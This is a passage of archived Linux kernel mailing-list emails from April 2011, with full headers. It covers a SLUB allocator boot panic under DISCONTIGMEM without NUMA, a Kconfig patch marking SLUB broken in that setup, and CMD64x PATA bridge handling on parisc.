	Tue, 19 Apr 2011 17:21:46 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EB9AB8EE0F5;
	Tue, 19 Apr 2011 14:21:45 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8tkgXGxz1Cj5; Tue, 19 Apr 2011 14:21:45 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 14A988EE01D;
	Tue, 19 Apr 2011 14:21:45 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104191530040.23077@router.home>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1128731 gmane.linux.kernel.mm:61621 gmane.linux.ports.parisc:3585
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1128731>

On Tue, 2011-04-19 at 15:56 -0500, Christoph Lameter wrote:
> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > > > I told you ... I forced an allocation into the first discontiguous
> > > > region.  That will return 1 for page_to_nid().
> > >
> > > How? The kernel has no concept of a node 1 without CONFIG_NUMA and so you
> > > cannot tell the page allocator to allocate from node 1.
> >
> > Yes, it does, as I explained in the email.
> 
> Looked through it and canot find it. How would that be possible to do
> with core kernel calls since the page allocator calls do not allow you to
> specify a node under !NUMA.

it's used under DISCONTIGMEM to identify the pfn array.

> > Don't be silly: alpha, ia64, m32r, m68k, mips, parisc, tile and even x86
> > all use the discontigmem memory model in some configurations.
> 
> I guess DISCONTIGMEM is typically used together with NUMA. Otherwise we
> would have run into this before.

Which bit of my telling you that six architectures already use it this
way did you not get?  I'm not really interested in reconciling your
theories with how we currently operate.  If you want to require NUMA
with DISCONTIGMEM, fine, we'll just define SLUB as broken if that's not
true ... that will fix my boot panic reports.

James

---

diff --git a/init/Kconfig b/init/Kconfig
index 56240e7..a7ad8fb 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1226,6 +1226,7 @@ config SLAB
 	  per cpu and per node queues.
 
 config SLUB
+	depends on BROKEN || NUMA || !DISCONTIGMEM
 	bool "SLUB (Unqueued Allocator)"
 	help
 	   SLUB is a slab allocator that minimizes cache line usage



From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sshtylyov@mvista.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Wed, 20 Apr 2011 01:22:54 +0400
Lines: 21
Approved: news@gmane.org
Message-ID: <4DADFD2E.9070809@ru.mvista.com>
References: <1303152147.7167.12.camel@mulgrave.site>	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>	<1303159802.7167.30.camel@mulgrave.site>	<20110418222017.4e77fe05@lxorguk.ukuu.org.uk>	<4DADF798.6010705@ru.mvista.com> <20110419221900.67528a07@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303248281 17691 80.91.229.12 (19 Apr 2011 21:24:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:24:41 +0000 (UTC)
Cc: Sergei Shtylyov <sshtylyov@mvista.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-ide-owner@vger.kernel.org Tue Apr 19 23:24:35 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QCIPS-0001n0-Gi
	for lnx-linux-ide@lo.gmane.org; Tue, 19 Apr 2011 23:24:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755512Ab1DSVYd (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Tue, 19 Apr 2011 17:24:33 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:51194 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754599Ab1DSVYc (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Tue, 19 Apr 2011 17:24:32 -0400
Original-Received: by wya21 with SMTP id 21so101471wya.19
        for <multiple recipients>; Tue, 19 Apr 2011 14:24:31 -0700 (PDT)
Original-Received: by 10.227.164.2 with SMTP id c2mr1814249wby.222.1303248271175;
        Tue, 19 Apr 2011 14:24:31 -0700 (PDT)
Original-Received: from [192.168.2.2] ([91.79.70.21])
        by mx.google.com with ESMTPS id bd8sm174489wbb.65.2011.04.19.14.24.28
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 19 Apr 2011 14:24:30 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9
In-Reply-To: <20110419221900.67528a07@lxorguk.ukuu.org.uk>
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49345 gmane.linux.ports.parisc:3586
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49345>

On 20-04-2011 1:19, Alan Cox wrote:

>>> We can detect the Mobility electronics split bridges at least (and I
>>> suspect they are the only 'common' CMD64x hot plug device indeed possibly
>>> the only one) because the parent bridge of the CMD64x will have a PCI
>>> vendor id of 0x14f2 and a device id 0x0001, 0x0002, or 0x0120.

>>      What's the issue with these brodges anyway? Why the enable bits are not
>> valid for them?

> Good question. I'd assumed because they are hotplugged and so no firmware
> gets to set the bits properly ?

    The bits are strapped off the pins JP3/JP4.

WBR, Sergei
--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Tue, 19 Apr 2011 22:28:38 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303159802.7167.30.camel@mulgrave.site>
	<20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	<4DADF798.6010705@ru.mvista.com>
	<20110419221900.67528a07@lxorguk.ukuu.org.uk>
	<4DADFD2E.9070809@ru.mvista.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303248471 18642 80.91.229.12 (19 Apr 2011 21:27:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:27:51 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Sergei Shtylyov <sshtylyov@mvista.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 23:27:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCISY-0002xf-Fa
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 23:27:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755923Ab1DSV1p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 17:27:45 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:41643 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754151Ab1DSV1p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 17:27:45 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3JLSdSF018117;
	Tue, 19 Apr 2011 22:28:40 +0100
In-Reply-To: <4DADFD2E.9070809@ru.mvista.com>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3587 gmane.linux.ide:49346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3587>

On Wed, 20 Apr 2011 01:22:54 +0400
Sergei Shtylyov <sshtylyov@mvista.com> wrote:

> On 20-04-2011 1:19, Alan Cox wrote:
> 
> >>> We can detect the Mobility electronics split bridges at least (and I
> >>> suspect they are the only 'common' CMD64x hot plug device indeed possibly
> >>> the only one) because the parent bridge of the CMD64x will have a PCI
> >>> vendor id of 0x14f2 and a device id 0x0001, 0x0002, or 0x0120.
> 
> >>      What's the issue with these brodges anyway? Why the enable bits are not
> >> valid for them?
> 
> > Good question. I'd assumed because they are hotplugged and so no firmware
> > gets to set the bits properly ?
> 
>     The bits are strapped off the pins JP3/JP4.

Beats me then. Whatever - its easy enough to work around and avoid
exploding parisc and sparc so it definitely wants sorting
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: slub: fix panic with DISCONTIGMEM
Date: Tue, 19 Apr 2011 16:29:36 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1303248576.11237.23.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303248588 19136 80.91.229.12 (19 Apr 2011 21:29:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:29:48 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>
To: linux-arch@vger.kernel.org, linux-mm@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 23:29:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCIUO-0004DT-0O
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 23:29:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754226Ab1DSV3j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 17:29:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51274 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754151Ab1DSV3i (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 17:29:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7BF218EE0F5;
	Tue, 19 Apr 2011 14:29:38 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zXJ0EaZFIQ6f; Tue, 19 Apr 2011 14:29:38 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E8A248EE01D;
	Tue, 19 Apr 2011 14:29:37 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3588 gmane.linux.kernel.cross-arch:9610
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3588>

Slub makes assumptions about page_to_nid() which are violated by
DISCONTIGMEM and !NUMA.  This violation results in a panic because
page_to_nid() can be non-zero for pages in the discontiguous ranges and
this leads to a null return by get_node().  The assertion by the
maintainer is that DISCONTIGMEM should only be allowed when NUMA is also
defined.  However, at least six architectures: alpha, ia64, m32r, m68k,
mips, parisc violate this.  The panic is a regression against slab, so
just mark slub broken in the problem configuration to prevent users
reporting these panics.

Cc: stable@kernel.org
Signed-off-by: James Bottomley <James.Bottomley@suse.de>

---

diff --git a/init/Kconfig b/init/Kconfig
index 56240e7..a7ad8fb 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1226,6 +1226,7 @@ config SLAB
 	  per cpu and per node queues.
 
 config SLUB
+	depends on BROKEN || NUMA || !DISCONTIGMEM
 	bool "SLUB (Unqueued Allocator)"
 	help
 	   SLUB is a slab allocator that minimizes cache line usage


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: slub: fix panic with DISCONTIGMEM
Date: Tue, 19 Apr 2011 16:38:29 -0500 (CDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191633250.23077@router.home>
References: <1303248576.11237.23.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303249124 22208 80.91.229.12 (19 Apr 2011 21:38:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:38:44 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mm@vger.kernel.org,
	"hugh.dickins@tiscali.co.uk" <hugh.dickins@tiscali.co.uk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Apr 19 23:38:38 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1QCIcz-0000El-Sp
	for glka-linux-arch@lo.gmane.org; Tue, 19 Apr 2011 23:38:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755939Ab1DSVic (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 19 Apr 2011 17:38:32 -0400
Original-Received: from smtp108.prem.mail.ac4.yahoo.com ([76.13.13.47]:27900 "HELO
	smtp108.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752382Ab1DSVic (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Tue, 19 Apr 2011 17:38:32 -0400
Original-Received: (qmail 91547 invoked from network); 19 Apr 2011 21:38:31 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp108.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 14:38:31 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: 0Ro2ZbwVM1lKDZY6HdKe4Z4LKFfkcFkPosRSr1cgMiBILAO
 hRKOrtk80t9KL3vqmJgQFSNvITgl_iLsdRfzR0dtN.USl1tg9GGekdtFyf.S
 pXb69LArGWxgQFofJ7O6M4XXK_UnZBu.CHpCKQ3GZWGCX9FLZVfYe5ok0Yqf
 HwypCObyqwSCRlXMxg5ttFQovRPpGzPA.JWdR8If8pJXCKcjvA65Tt7QRfsS
 GJkkYQxnHUquDxtvnc5kSDBbY2_eo1flIMMY9Gx2rhrLeTY788UXTEmGAXJC
 8XsSIjsUZChss0ZoCVbBych1twUo.aPnt3rM_fBwC0MZ8Fw04
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCIcw-0006t5-OE; Tue, 19 Apr 2011 16:38:30 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303248576.11237.23.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:9611 gmane.linux.ports.parisc:3589
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/9611>

On Tue, 19 Apr 2011, James Bottomley wrote:

> Slub makes assumptions about page_to_nid() which are violated by
> DISCONTIGMEM and !NUMA.  This violation results in a panic because

Fix this by stating correctly by saying "The kernel makes assumptions in
various subsystems ..."

> page_to_nid() can be non-zero for pages in the discontiguous ranges and
> this leads to a null return by get_node().  The assertion by the
> maintainer is that DISCONTIGMEM should only be allowed when NUMA is also
> defined.  However, at least six architectures: alpha, ia64, m32r, m68k,

That is not what I said. DISCONTIG support needs to be fixed so that the
core subsystems using page_to_nid() will operate correctly with a !NUMA
discontig configuration. Core will expect page_to_nid() to only return 0
on !NUMA.

From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 16:39:38 -0500 (CDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191627040.23077@router.home>
References: <20110415135144.GE8828@tiehlicka.suse.cz>  <alpine.LSU.2.00.1104171952040.22679@sister.anvils>  <20110418100131.GD8925@tiehlicka.suse.cz>  <20110418135637.5baac204.akpm@linux-foundation.org>  <20110419111004.GE21689@tiehlicka.suse.cz> 
 <1303228009.3171.18.camel@mulgrave.site>  <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>  <1303233088.3171.26.camel@mulgrave.site>  <alpine.DEB.2.00.1104191213120.17888@router.home>  <1303235306.3171.33.camel@mulgrave.site> 
 <alpine.DEB.2.00.1104191254300.19358@router.home>  <1303237217.3171.39.camel@mulgrave.site>  <alpine.DEB.2.00.1104191325470.19358@router.home>  <1303242580.11237.10.camel@mulgrave.site>  <alpine.DEB.2.00.1104191530040.23077@router.home>
 <1303248103.11237.16.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303249189 22605 80.91.229.12 (19 Apr 2011 21:39:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:39:49 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 23:39:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCIe7-0000Gi-75
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 23:39:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754475Ab1DSVjm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 17:39:42 -0400
Original-Received: from smtp107.prem.mail.ac4.yahoo.com ([76.13.13.46]:46933 "HELO
	smtp107.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753702Ab1DSVjm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 17:39:42 -0400
Original-Received: (qmail 63719 invoked from network); 19 Apr 2011 21:39:41 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp107.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 14:39:41 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: .3T8CT8VM1niOG5tiuDmDfolx.tGKnBrfpJ9D5OBLbUXWSn
 7UdcLc6ttrGDYzmDBFJdfQ8Y4ii.MBefwavA9_kO9YtYa3qR60tPtXfN63f5
 FcKYNuA8Yk9q7con2p7Fxq_sjmooiHuSi6lCi5w0FHDBGUSb7WPp_uUV0HSK
 kWNuZwrBEio_awgBnxE3QuDCax5ufwrUGGEtmHSBcSxV6MxzO2v0A9HBQGkt
 _X9iWLCuw47Rb30xowmAggL87sr2XW3uf2yHt_zUME7Ra.tkVnUCgQufoXJ_
 ijJH8cf3TR8bVn75y8bMaiwyKe9O7Cf6CINLtCoisfAh3RgsL
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCIe4-0006tX-ND; Tue, 19 Apr 2011 16:39:40 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303248103.11237.16.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3590 gmane.linux.kernel.mm:61624 gmane.linux.kernel:1128738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3590>

On Tue, 19 Apr 2011, James Bottomley wrote:

> > I guess DISCONTIGMEM is typically used together with NUMA. Otherwise we
> > would have run into this before.
>
> Which bit of my telling you that six architectures already use it this
> way did you not get?  I'm not really interested in reconciling your
> theories with how we currently operate.  If you want to require NUMA
> with DISCONTIGMEM, fine, we'll just define SLUB as broken if that's not
> true ... that will fix my boot panic reports.

Which part of me telling you that you will break lots of other things in
the core kernel dont you get? If you were able to get to a command prompt
with SLAB then lets all be happy for as long as it lasts.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 16:48:36 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1303249716.11237.26.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
	 <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
	 <1303233088.3171.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191213120.17888@router.home>
	 <1303235306.3171.33.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191254300.19358@router.home>
	 <1303237217.3171.39.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191325470.19358@router.home>
	 <1303242580.11237.10.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191530040.23077@router.home>
	 <1303248103.11237.16.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191627040.23077@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303249726 25578 80.91.229.12 (19 Apr 2011 21:48:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:48:46 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 23:48:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCImm-0005KL-GA
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 23:48:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754727Ab1DSVsj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 17:48:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39046 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752660Ab1DSVsi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 17:48:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B30BD8EE0F5;
